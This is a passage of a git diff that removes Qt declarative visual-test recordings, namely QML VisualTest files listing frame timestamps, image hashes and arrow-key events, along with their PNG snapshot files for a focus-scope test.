"224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7296 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7312 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7328 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7344 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7360 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7376 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7392 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7408 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7424 - hash: "224ade5c942415100b5418a11d043611" - } - Frame { - msec: 7440 - hash: "224ade5c942415100b5418a11d043611" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7456 - hash: "95ff2a535a13fcdded94229d53848f7c" - } - Frame { - msec: 7472 - hash: "95ff2a535a13fcdded94229d53848f7c" - } - Frame { - msec: 7488 - hash: "d2386e4137632f15aa5ba9dd1a138a67" - } - Frame { - msec: 7504 - hash: "9f2c40191c1a81f37543f5bfcb852bdf" - } - Frame { - msec: 7520 - hash: "5facdbcc9d7ab0adfcb2ca9d1812a3f5" - } - Frame { - msec: 7536 - hash: "7bbb08470e4f3eeabe710e0ea327c467" - } - Frame { - msec: 7552 - hash: "630abf60d09d3a685d79e6da627b3aa2" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7568 - hash: "d8aed706508814cdbd1ef0984f112b94" - } - Frame { - msec: 7584 - hash: "d191c2dc3e2edd05bfd649dcfa51029e" - } - Frame { - msec: 7600 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7616 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7632 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7648 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7664 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7680 - image: "test3.7.png" - } - Frame { - msec: 7696 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7712 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7728 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7744 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7760 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7776 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7792 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7808 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7824 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7840 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7856 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7872 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7888 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7904 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7920 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7936 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7952 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Frame { - msec: 7968 - hash: "7ee37281a3f5788305f779bdd33852e5" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 7984 - hash: "fb386abfd73a3feb05b573d16ffa93f9" - } - Frame { - msec: 8000 - hash: "fb386abfd73a3feb05b573d16ffa93f9" - } - Frame { - msec: 8016 - hash: "fa1374155fc5427c72bd09ec5a315172" - } - Frame { - msec: 8032 - hash: "ee35a3edf91865e28b16b9fcab8b4c1c" - } - Frame { - msec: 8048 - hash: "10f2677f7c8efe9f64e401940dec3ef7" - } - Frame { - msec: 8064 - hash: "b2c53bb14a8a6643e69cad2bbb4aacf4" - } - Frame { - msec: 8080 - hash: "7b7c7d167aca55464d1874ed726ec646" - } - Frame { - msec: 8096 - hash: "19a828ca70133801f1f470f6e348857b" - } - Frame { - msec: 8112 - hash: "bc829873ea3cf8ca8484d990d4b80aa2" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8128 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8144 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8160 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8176 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8192 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8208 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8224 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8240 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8256 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8272 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8288 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8304 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8320 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8336 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8352 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8368 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8384 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8400 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8416 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8432 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8448 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8464 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8480 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Frame { - msec: 8496 - hash: "201b90bc27073e945bb00c85501f4dc8" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8512 - hash: "d0d487fd66bcf4177188d4862bd74bc0" - } - Frame { - msec: 8528 - hash: "d0d487fd66bcf4177188d4862bd74bc0" - } - Frame { - msec: 8544 - hash: "4a4c2e49e4852748916a4d68710e4ae6" - } - Frame { - msec: 8560 - hash: "0135092d8a296b7121495cc3994a0f9d" - } - Frame { - msec: 8576 - hash: "7e004aae70236568d635ba929e085b2b" - } - Frame { - msec: 8592 - hash: "3e6a4f60a57515a6bfe4d803c7c22da8" - } - Frame { - msec: 8608 - hash: "142b866861f539837b0bdabaf48028e7" - } - Frame { - msec: 8624 - hash: "32a4757602c923366566d9005c78f6cf" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 8640 - image: "test3.8.png" - } - Frame { - msec: 8656 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8672 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8688 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8704 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8720 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8736 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8752 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8768 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8784 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8800 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8816 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8832 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8848 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8864 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8880 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8896 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8912 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8928 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8944 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8960 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8976 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 8992 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 9008 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 9024 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 9040 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Frame { - msec: 9056 - hash: "358a3fbfa70526a40f2179cb2fd100d4" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 9072 - hash: "b1dc330f31b064f1e3ff4e913773cde8" - } - Frame { - msec: 9088 - hash: "b1dc330f31b064f1e3ff4e913773cde8" - } - Frame { - msec: 9104 - hash: "a0419dede71451f36c93960c8ef8c00c" - } - Frame { - msec: 9120 - hash: "b8141758fc93aa1b286fd60f91e6fa7e" - } - Frame { - msec: 9136 - hash: "8b0d786f239c545be3f51622c336f1e1" - } - Frame { - msec: 9152 - hash: "25ec52efac83de4f8cade8f257b93b8e" - } - Frame { - msec: 9168 - hash: "5a1476841b9aaa0e85c397c0447be352" - } - Frame { - msec: 9184 - hash: "d648b0911e6ab78e53121fde8b66b50b" - } - Frame { - msec: 9200 - hash: "f552863ff4b76286d03240409c0a928b" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 9216 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9232 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9248 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9264 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9280 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9296 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9312 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9328 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9344 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9360 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9376 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9392 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9408 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9424 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9440 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9456 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9472 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9488 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9504 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9520 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9536 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9552 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9568 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9584 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9600 - image: "test3.9.png" - } - Frame { - msec: 9616 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9632 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9648 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9664 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9680 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9696 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9712 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9728 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9744 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9760 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9776 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9792 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9808 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9824 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9840 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9856 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9872 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9888 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9904 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9920 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9936 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9952 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9968 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 9984 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10000 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10016 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10032 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10048 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10064 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10080 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10096 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10112 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10128 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10144 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10160 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10176 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10192 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10208 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10224 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10240 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10256 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10272 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10288 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10304 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10320 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10336 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10352 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10368 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 10384 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10400 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10416 - hash: "f3b4cab7975190f756c923f16ce4c298" - } - Frame { - msec: 10432 - hash: "f3b4cab7975190f756c923f16ce4c298" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data/test.0.png b/tests/auto/declarative/visual/focusscope/data/test.0.png deleted file mode 100644 index 67b99e0..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test.1.png b/tests/auto/declarative/visual/focusscope/data/test.1.png deleted file mode 100644 index 67b99e0..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test.2.png b/tests/auto/declarative/visual/focusscope/data/test.2.png deleted file mode 100644 index 69f0366..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test.3.png b/tests/auto/declarative/visual/focusscope/data/test.3.png deleted file mode 100644 index afe0bd9..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test.4.png b/tests/auto/declarative/visual/focusscope/data/test.4.png deleted file mode 100644 index afe0bd9..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test.5.png b/tests/auto/declarative/visual/focusscope/data/test.5.png deleted file mode 100644 index afe0bd9..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data/test.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data/test.qml b/tests/auto/declarative/visual/focusscope/data/test.qml deleted file mode 100644 index d86c034..0000000 --- a/tests/auto/declarative/visual/focusscope/data/test.qml +++ /dev/null @@ -1,1599 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 32 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 48 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 64 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 80 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 96 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 112 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 128 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 144 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 160 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 176 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 192 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 208 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 224 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 240 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 256 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 272 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 288 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 304 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 320 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 336 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 352 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 368 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 384 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 400 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 416 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 432 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 448 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 464 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 480 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 496 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 512 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 528 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 544 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 560 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 576 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 592 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 608 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 624 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 640 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 656 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 672 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 688 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 704 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 720 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 736 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 752 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 768 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 784 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 800 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 816 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 832 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 848 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 864 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 880 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 896 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 912 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 928 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 944 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 960 - image: "test.0.png" - } - Frame { - msec: 976 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 992 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1008 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1024 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1040 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1056 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1072 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1088 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1104 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1120 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1136 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1152 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1168 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1184 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1200 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1216 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1232 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1248 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1264 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1280 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1296 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1312 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1328 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1344 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1360 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1376 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1392 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1408 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1424 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1440 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1456 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1472 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1488 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1504 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1520 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1536 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1552 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1568 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1584 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1600 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1616 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1632 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1648 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1664 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1680 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1696 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1712 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1728 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1744 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1760 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1776 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1792 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Frame { - msec: 1808 - hash: "6f85c2226e6e408f4699762f687b83e1" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 1824 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1840 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1856 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1872 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1888 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1904 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1920 - image: "test.1.png" - } - Frame { - msec: 1936 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1952 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 1968 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 1984 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2000 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2016 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2032 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2048 - hash: "e7722f02692fbae81b9ec78547e1e4e9" - } - Frame { - msec: 2064 - hash: 